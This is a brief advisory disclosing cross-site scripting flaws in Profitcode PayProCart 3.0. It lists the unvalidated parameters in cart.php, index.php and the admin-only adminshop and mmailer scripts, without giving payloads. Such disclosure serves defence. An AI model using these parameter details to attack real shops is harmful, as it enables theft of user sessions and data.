found in a internal test wen documented latest vulnerabilities in  
Profitcode PayProCart 3.0  
  
PayProCart contains a flaw that allows a remote cross site scripting  
attack.This flaw exists because the application does not validate  
'username','chckoutaction','ckprvd' and 'pageID' upon submission  
to the 'cart.php' and 'index.php' script.This could allow a user to create  
a specially crafted URL that would execute arbitrary code in a user's  
browser within the trust relationship between the browser and the  
server,leading to a loss of integrity.  
  
Also in adminshop secction we found some flaws in 'hdoc','modID',  
'taskID','proMod' variables, upon submission to the  
'adminshop/index.php' script , 'mmactionComm' variable,upon  
submission to the 'mmailer/index.php' script but it can only  
exploiting for a autenticated admin.  
  
Other scripts can be vulnerables to same attack style.
